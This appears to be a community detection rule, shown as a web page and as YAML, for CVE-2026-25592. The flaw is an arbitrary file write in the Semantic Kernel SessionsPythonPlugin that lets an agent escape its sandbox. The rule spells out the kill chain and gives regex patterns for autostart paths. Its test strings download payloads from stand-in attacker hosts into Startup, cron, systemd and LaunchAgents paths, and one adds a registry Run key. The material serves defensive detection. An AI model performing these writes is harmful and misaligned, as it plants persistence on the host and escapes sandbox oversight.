Microsoft Semantic Kernel SessionsPythonPlugin Arbitrary File Write + Startup Persistence (CVE-2026-25592)

Detects exploitation of CVE-2026-25592 (Critical), arbitrary file write via SessionsPythonPlugin in Microsoft Semantic Kernel. The vulnerable sink accepts unvalidated file paths via DownloadFileAsync; combined with the plugin's ExecuteCode capability, attacker writes payloads to host Startup / cron / systemd-user paths, achieving sandbox escape and persistence. The full kill chain is ExecuteCode -> generate payload -> DownloadFileAsync -> write to autostart directory -> reboot triggers RCE outside the sandbox. This rule detects the over-privileged tool descriptor patterns and the autostart-target file-write payloads that reach the SessionsPythonPlugin sink. CWE-22 (path traversal), CWE-73 (external control of file name). Patches in semantic-kernel Python >= 1.39.4 and .NET >= 1.71.0; this rule detects exploit attempts against unpatched deployments and provides defence-in-depth post-patch by catching the autostart-write pattern regardless of upstream patch state.

建議回應

參考資料

1. 01

   Tool argument whose path / destination / target value is an OS-level autostart / persistence path (Windows Start Menu Startup, XDG autostart, systemd-user, cron, macOS LaunchAgents/Daemons). Allows optional quote between keyword and separator (JSON form `"destination":"path"`). Requires a write-context keyword before the path so admin-doc references to `/etc/systemd/system/` without a write-arg context do not match.

   欄位: tool_args運算子: regex
2. 02

   Tool descriptor referencing Semantic Kernel SessionsPythonPlugin or its fully-qualified variants — narrowed to SK-specific identifiers.

   欄位: tool_name運算子: regex
3. 03

   Tool descriptor that explicitly advertises file-write to arbitrary / user-supplied / unvalidated paths — over-privileged descriptor pattern that enables CVE-2026-25592.

   欄位: tool_description運算子: regex
4. 04

   Direct file-write function call whose destination argument is an autostart path — explicit exploit signature with two anchors (call site + path).

   欄位: content運算子: regex
5. 05

   Windows registry Run-key persistence (`reg add HKCU\..\Run`, full Run-key path, or `regedit /s`) — alternative persistence vector. Word-boundary anchored to avoid substring matches in normal English (register, regex, aggregated).

   欄位: content運算子: regex

攻擊範例（規則會觸發）

1. DownloadFileAsync("https://attacker.example/payload.exe", "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.exe")

2. {"tool":"SessionsPythonPlugin","args":{"file":"~/.config/autostart/payload.desktop"}}

3. await DownloadFileAsync(url, "/etc/cron.hourly/atr_persist.sh")

4. fs.writeFile("/Users/victim/Library/LaunchAgents/com.attacker.plist", payload, cb)

5. {"tool_name":"DownloadFileAsync","tool_description":"Downloads any file to any user-specified path on the host filesystem."}

6. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ATR /t REG_SZ /d "C:\\payload.exe"

7. {"tool":"DownloadFileAsync","args":{"source":"https://attacker/agent.bin","destination":"/etc/systemd/system/persist.service"}}

以上為真實攻擊 payload 脫敏版本。用於 regression testing。

正常樣本（規則不會觸發）

1. Benign download to local working directory

   DownloadFileAsync("https://example.com/data.csv", "./tmp/data.csv")

2. Documentation of the patched behaviour without literal exploit-tool names

   The semantic-kernel 1.39.4 patch adds path canonicalisation to block writes outside the jail directory; review the changelog before upgrading.

3. Properly-scoped tool descriptor that mentions user-supplied path but inside a jail

   Tool descriptor: "Writes the result to the user-supplied output path inside the configured jail directory."

4. Defensive discussion of the CVE

   Review note: CVE-2026-25592 is mitigated by jailed file-write; no autostart-path write should be permitted.

5. Standard tmp-directory write — not an autostart path

   fs.writeFile("/tmp/output.json", JSON.stringify(result), cb)

已知誤報情境

• ▸Legitimate developer documentation referencing Windows Startup folder for non-malicious use cases (installer behaviour, productivity software).
• ▸Detection rule corpora (this repo, SigmaHQ, MISP) documenting CVE-2026-25592 patterns for defensive purposes.
• ▸Patched SessionsPythonPlugin deployments that perform path-canonicalisation and reject autostart targets before write.
• ▸Benign discussion of process / app / shell `startup` in English prose without a path or file-write context.

title: "Microsoft Semantic Kernel SessionsPythonPlugin Arbitrary File Write + Startup Persistence (CVE-2026-25592)"
id: ATR-2026-00441
rule_version: 1
status: experimental
description: >
  Detects exploitation of CVE-2026-25592 (Critical), arbitrary file write
  via SessionsPythonPlugin in Microsoft Semantic Kernel. The vulnerable
  sink accepts unvalidated file paths via DownloadFileAsync; combined with
  the plugin's ExecuteCode capability, attacker writes payloads to host
  Startup / cron / systemd-user paths, achieving sandbox escape and
  persistence. The full kill chain is ExecuteCode -> generate payload ->
  DownloadFileAsync -> write to autostart directory -> reboot triggers
  RCE outside the sandbox. This rule detects the over-privileged tool
  descriptor patterns and the autostart-target file-write payloads that
  reach the SessionsPythonPlugin sink. CWE-22 (path traversal), CWE-73
  (external control of file name). Patches in semantic-kernel
  Python >= 1.39.4 and .NET >= 1.71.0; this rule detects exploit
  attempts against unpatched deployments and provides
  defence-in-depth post-patch by catching the autostart-write pattern
  regardless of upstream patch state.
author: "ATR Community"
date: "2026/05/11"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical

references:
  owasp_llm:
    - "LLM06:2025 - Excessive Agency"
    - "LLM05:2025 - Improper Output Handling"
  owasp_agentic:
    - "ASI03:2026 - Identity and Privilege Abuse"
    - "ASI06:2026 - Sandbox Escape"
  mitre_atlas:
    - "AML.T0050 - Command and Scripting Interpreter"
  mitre_attack:
    - "T1547 - Boot or Logon Autostart Execution"
    - "T1547.001 - Registry Run Keys / Startup Folder"
    - "T1053 - Scheduled Task/Job"
    - "T1611 - Escape to Host"
  cve:
    - "CVE-2026-25592"

metadata_provenance:
  mitre_atlas: human-reviewed
  mitre_attack: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed
  cve: human-reviewed

compliance:
  eu_ai_act:
    - article: "15"
      context: "CVE-2026-25592 in Semantic Kernel SessionsPythonPlugin lets an agent write to host autostart paths via DownloadFileAsync, achieving persistence outside the sandbox; Article 15 cybersecurity requirements mandate that AI system sandboxes prevent unauthorised file writes to system-level persistence locations."
      strength: primary
    - article: "14"
      context: "Persistence via host Startup folder explicitly defeats Article 14 human oversight — by reboot the malicious code runs without any agent loop or human interaction. Detection of autostart-write attempts is a primary control."
      strength: primary
    - article: "9"
      context: "Sandbox-escape via plugin file-write is a critical risk class that Article 9 risk management must enumerate when deploying any agent with both code-execution and file-write capabilities."
      strength: primary
  nist_ai_rmf:
    - subcategory: "MP.5.1"
      context: "Persistence payloads written to autostart directories must be tracked as a primary post-exploit pattern; the boundary between agent-controlled tmpfs and host autostart paths must be enforced and monitored."
      strength: primary
    - subcategory: "MG.4.1"
      context: "An autostart-write event from an agent plugin requires immediate incident response; this rule generates the alert needed to initiate the MG.4.1 AI incident response process before the next host reboot triggers the payload."
      strength: primary
    - subcategory: "MG.2.3"
      context: "Risk treatment plans under MG.2.3 must require that plugins exposing both file-write and code-execution capabilities are flagged for separation of duties and runtime monitoring."
      strength: primary
  iso_42001:
    - clause: "8.6"
      context: "Clause 8.6 operational controls require that agent plugins do not exceed their authorised operational scope; writing to OS-level autostart paths is unambiguously out-of-scope for any documented AI plugin."
      strength: primary
    - clause: "6.2"
      context: "Clause 6.2 AIMS security objectives include least-privilege enforcement; detection of over-privileged tool descriptors (combining ExecuteCode + arbitrary file-write) operationalises that objective."
      strength: secondary
  colorado_ai_act:
    - section: "6-1-1703"
      clause: "Deployer risk management program"
      context: "When a high-risk AI system writes a payload to a host autostart path, any consequential decision the host subsequently executes — including post-reboot — falls outside the risk-management program's impact assessment. SB24-205 requires deployers to keep AI systems within documented operational bounds; this rule detects the boundary violation."
      strength: primary

tags:
  category: privilege-escalation
  subcategory: sandbox-escape-persistence
  scan_target: both
  confidence: high

agent_source:
  type: tool_call
  framework:
    - semantic-kernel
    - any
  provider:
    - any

detection:
  condition: any
  false_positives:
    - "Legitimate developer documentation referencing Windows Startup folder for non-malicious use cases (installer behaviour, productivity software)."
    - "Detection rule corpora (this repo, SigmaHQ, MISP) documenting CVE-2026-25592 patterns for defensive purposes."
    - "Patched SessionsPythonPlugin deployments that perform path-canonicalisation and reject autostart targets before write."
    - "Benign discussion of process / app / shell `startup` in English prose without a path or file-write context."
  conditions:
    - field: tool_args
      operator: regex
      value: '(?i)\b(?:destination|dest|target|output|out_path|out_file|file|path|to|filename|filepath|file_path)["\x27]?\s*[:=]\s*["\x27]?[^"\x27,)]{0,40}(?:AppData[\\/]+Roaming[\\/]+Microsoft[\\/]+Windows[\\/]+Start Menu[\\/]+Programs[\\/]+Startup|[\\/]+Start Menu[\\/]+Programs[\\/]+Startup[\\/]+|[\\/]+\.config[\\/]+autostart[\\/]+|[\\/]+\.config[\\/]+systemd[\\/]+user[\\/]+|/etc/cron\.(?:hourly|daily|weekly|monthly|d)/|/etc/init\.d/|/etc/systemd/system/|/Library/LaunchAgents/|/Library/LaunchDaemons/|~/Library/LaunchAgents/)'
      description: "Tool argument whose path / destination / target value is an OS-level autostart / persistence path (Windows Start Menu Startup, XDG autostart, systemd-user, cron, macOS LaunchAgents/Daemons). Allows optional quote between keyword and separator (JSON form `\"destination\":\"path\"`). Requires a write-context keyword before the path so admin-doc references to `/etc/systemd/system/` without a write-arg context do not match."

    - field: tool_name
      operator: regex
      value: '(?i)\b(?:SessionsPythonPlugin|Microsoft\.SemanticKernel\.Plugins\.[A-Za-z]*Sessions|kernel_function_download_file|sessions_python)\b'
      description: "Tool descriptor referencing Semantic Kernel SessionsPythonPlugin or its fully-qualified variants — narrowed to SK-specific identifiers."

    - field: tool_description
      operator: regex
      value: '(?i)(?:download|write|save)[^.]{0,120}\b(?:to\s+)?(?:arbitrary\s+(?:path|location)|any\s+(?:directory|location|path)|user[-_]?(?:supplied|specified|provided)\s+path|unvalidated\s+path)\b'
      description: "Tool descriptor that explicitly advertises file-write to arbitrary / user-supplied / unvalidated paths — over-privileged descriptor pattern that enables CVE-2026-25592."

    - field: content
      operator: regex
      value: '(?i)\b(?:DownloadFileAsync|download_file|fs\.writeFile|writeFile(?:Sync)?)\s*\(\s*["\x27]?[^)]{0,200}(?:[\\/]+Start Menu[\\/]+Programs[\\/]+Startup[\\/]+|AppData[\\/]+Roaming[\\/]+Microsoft[\\/]+Windows|[\\/]+\.config[\\/]+autostart[\\/]+|/etc/cron\.(?:hourly|daily|weekly|monthly|d)/|/Library/LaunchAgents/|/etc/systemd/system/)'
      description: "Direct file-write function call whose destination argument is an autostart path — explicit exploit signature with two anchors (call site + path)."

    - field: content
      operator: regex
      value: '(?i)(?:\breg\s+add\s+(?:HKCU|HKLM|HKEY_)|HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run|HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run|\bregedit(?:\.exe)?\s+/s\s+)'
      description: "Windows registry Run-key persistence (`reg add HKCU\\..\\Run`, full Run-key path, or `regedit /s`) — alternative persistence vector. Word-boundary anchored to avoid substring matches in normal English (register, regex, aggregated)."

response:
  actions:
    - block_tool
    - alert
    - escalate
    - snapshot
  notify:
    - security_team

remediation: >
  Upgrade Python semantic-kernel to >= 1.39.4 or .NET semantic-kernel to
  >= 1.71.0. Restrict SessionsPythonPlugin file-write to a fixed jail
  directory; canonicalise paths and reject any target outside the jail.
  Never grant the same plugin both ExecuteCode and unrestricted file-write
  in the same security boundary. Monitor for writes targeting OS-level
  autostart paths (Startup folder, ~/.config/autostart, /etc/cron.*,
  systemd-user units, LaunchAgents) regardless of source.

test_cases:
  true_positives:
    - input: 'DownloadFileAsync("https://attacker.example/payload.exe", "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.exe")'
      expected: triggered
      description: "Direct CVE-2026-25592 exploit: DownloadFileAsync writing to Windows Startup folder"
    - input: '{"tool":"SessionsPythonPlugin","args":{"file":"~/.config/autostart/payload.desktop"}}'
      expected: triggered
      description: "SessionsPythonPlugin invocation targeting XDG autostart on Linux"
    - input: 'await DownloadFileAsync(url, "/etc/cron.hourly/atr_persist.sh")'
      expected: triggered
      description: "File write to /etc/cron.hourly autostart path"
    - input: 'fs.writeFile("/Users/victim/Library/LaunchAgents/com.attacker.plist", payload, cb)'
      expected: triggered
      description: "macOS LaunchAgents persistence write"
    - input: '{"tool_name":"DownloadFileAsync","tool_description":"Downloads any file to any user-specified path on the host filesystem."}'
      expected: triggered
      description: "Over-privileged tool descriptor advertising arbitrary-path write — CVE-2026-25592 enabling pattern"
    - input: 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ATR /t REG_SZ /d "C:\\payload.exe"'
      expected: triggered
      description: "Windows Run-key persistence variant chained with the same primitive"
    - input: '{"tool":"DownloadFileAsync","args":{"source":"https://attacker/agent.bin","destination":"/etc/systemd/system/persist.service"}}'
      expected: triggered
      description: "systemd unit persistence write"
  true_negatives:
    - input: 'DownloadFileAsync("https://example.com/data.csv", "./tmp/data.csv")'
      expected: not_triggered
      description: "Benign download to local working directory"
    - input: "The semantic-kernel 1.39.4 patch adds path canonicalisation to block writes outside the jail directory; review the changelog before upgrading."
      expected: not_triggered
      description: "Documentation of the patched behaviour without literal exploit-tool names"
    - input: 'Tool descriptor: "Writes the result to the user-supplied output path inside the configured jail directory."'
      expected: not_triggered
      description: "Properly-scoped tool descriptor that mentions user-supplied path but inside a jail"
    - input: "Review note: CVE-2026-25592 is mitigated by jailed file-write; no autostart-path write should be permitted."
      expected: not_triggered
      description: "Defensive discussion of the CVE"
    - input: 'fs.writeFile("/tmp/output.json", JSON.stringify(result), cb)'
      expected: not_triggered
      description: "Standard tmp-directory write — not an autostart path"